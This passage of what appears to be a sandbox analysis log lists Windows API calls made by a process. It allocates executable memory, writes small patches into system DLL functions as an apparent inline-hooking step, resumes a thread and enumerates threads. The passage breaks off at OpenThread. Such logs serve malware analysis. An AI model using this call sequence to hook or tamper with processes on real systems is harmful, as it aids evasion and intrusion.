VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x1f0000 [0138.010] GetCurrentProcess () returned 0xffffffff [0138.010] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x1f0008, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0138.010] GetCurrentProcess () returned 0xffffffff [0138.010] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x1f0015, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0138.010] GetCurrentProcess () returned 0xffffffff [0138.010] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x77c36560, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0138.011] VirtualProtect (in: lpAddress=0x1f0000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0138.011] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x8) returned 0x2aa0ad0 [0138.011] HeapFree (in: hHeap=0x2aa0000, dwFlags=0x0, lpMem=0x2aa0a70 | out: hHeap=0x2aa0000) returned 1 [0138.012] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xc) returned 0x2aa0ae0 [0138.012] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xb) returned 0x2aa0af8 [0138.012] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0138.013] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xc) returned 0x2aa0b10 [0138.013] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xc) returned 0x2aa0b28 [0138.023] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x10) returned 0x2aa0b40 [0138.023] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xdf0000 [0138.024] GetCurrentProcess () returned 0xffffffff [0138.024] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xdf0005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0138.024] GetCurrentProcess () returned 0xffffffff [0138.024] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xdf000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0138.024] GetCurrentProcess () returned 0xffffffff [0138.024] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x74b8d7b0, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0138.025] VirtualProtect (in: lpAddress=0xdf0000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0138.025] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x10) returned 0x2aa0b58 [0138.025] HeapFree (in: hHeap=0x2aa0000, dwFlags=0x0, lpMem=0x2aa0ad0 | out: hHeap=0x2aa0000) returned 1 [0138.026] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xc) returned 0x2aa0b70 [0138.026] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xc) returned 0x2aa04a0 [0138.029] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x10) returned 0x2aa57c8 [0138.029] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xe20000 [0138.029] GetCurrentProcess () returned 0xffffffff [0138.029] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe20005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0138.029] GetCurrentProcess () returned 0xffffffff [0138.029] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe2000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0138.029] GetCurrentProcess () returned 0xffffffff [0138.029] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x74ba0480, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0138.030] VirtualProtect (in: lpAddress=0xe20000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0138.031] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xc) returned 0x2aa5888 [0138.031] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xf) returned 0x2aa5870 [0138.032] GetModuleHandleA (lpModuleName="kernelbase.dll") returned 0x74ea0000 [0138.033] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x10) returned 0x2aa5810 [0138.034] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xe30000 [0138.034] GetCurrentProcess () returned 0xffffffff [0138.034] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe30005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0138.034] GetCurrentProcess () returned 0xffffffff [0138.034] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe3000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0138.034] GetCurrentProcess () returned 0xffffffff [0138.034] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x74f70090, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0138.035] VirtualProtect (in: lpAddress=0xe30000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0138.035] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x20) returned 0x2aa04b8 [0138.035] HeapFree (in: hHeap=0x2aa0000, dwFlags=0x0, lpMem=0x2aa0b58 | out: hHeap=0x2aa0000) returned 1 [0138.038] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x10) returned 0x2aa57e0 [0138.039] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xe40000 [0138.039] GetCurrentProcess () returned 0xffffffff [0138.039] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe40005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0138.039] GetCurrentProcess () returned 0xffffffff [0138.039] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe4000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0138.039] GetCurrentProcess () returned 0xffffffff [0138.039] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x74f96320, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0138.040] VirtualProtect (in: lpAddress=0xe40000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0138.041] ResumeThread (hThread=0x14c) returned 0x1 [0138.041] CloseHandle (hObject=0x14c) returned 1 [0138.041] HeapFree (in: hHeap=0x2aa0000, dwFlags=0x0, lpMem=0x2aa09e0 | out: hHeap=0x2aa0000) returned 1 [0138.042] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x14c [0138.048] Thread32First (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.048] GetCurrentProcessId () returned 0xc14 [0138.048] GetCurrentThreadId () returned 0x390 [0138.048] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.049] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.050] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.051] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.051] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.052] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.052] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.053] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.053] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.054] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.054] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.055] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.056] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.056] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.057] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.057] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.058] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.059] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.060] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.060] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.061] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.062] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.063] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.063] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.064] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.064] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.065] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.065] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.066] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.067] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.068] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.068] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.069] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.069] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.070] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.070] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.071] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.072] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.072] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.073] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.073] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.074] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.075] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.075] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.076] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.076] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.077] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.078] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.078] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.079] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.080] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.080] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.081] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.081] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.082] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.082] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.083] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.084] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.084] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.085] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.085] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.086] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.086] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.087] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.088] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.088] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.089] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.089] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.090] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.091] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.091] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.092] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.092] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.093] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.094] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.094] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.095] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.095] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.096] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.097] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.097] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.098] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.098] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.099] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.099] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.100] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.101] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.101] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.102] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.102] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.103] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.103] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.104] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.105] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.105] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.106] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.106] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.107] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.108] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.108] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.109] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.110] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.110] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.111] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.111] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.112] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.113] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.113] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.114] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.114] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.115] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.115] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.116] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.117] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.117] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.118] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.118] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.119] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.119] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.120] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.121] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.121] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.122] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.123] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.123] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.124] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.125] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.125] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.126] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.126] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.127] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.127] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.128] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.129] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.129] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.130] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.130] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.131] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.131] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.132] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.132] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.133] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.134] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.134] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.135] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.135] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.136] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.136] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.137] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.137] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.138] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.139] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.139] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.140] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.140] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.141] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.142] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.143] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.143] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.144] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.144] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.145] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.145] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.146] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.147] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.147] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.148] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.148] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.149] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.149] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.150] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.150] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.151] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.152] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.152] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.153] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.153] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.154] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.154] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.155] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.156] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.157] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.157] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.158] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.159] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.159] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.160] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.160] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.161] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.161] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.162] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.163] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.163] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.164] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.165] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.165] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.166] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.166] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.167] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.167] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.168] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.169] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.170] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.170] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.171] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.171] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.172] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.173] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.173] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.174] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.174] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.175] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.175] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.176] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.176] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.177] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.178] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.178] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.179] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.180] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.180] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.181] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.182] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.182] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.183] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.183] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.184] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.184] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.185] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.185] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.186] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.187] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.187] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.188] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.188] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.189] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.190] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.190] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.191] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.191] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.192] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.193] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.193] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.194] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.194] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.195] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.196] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.196] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.197] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0138.542] OpenThread 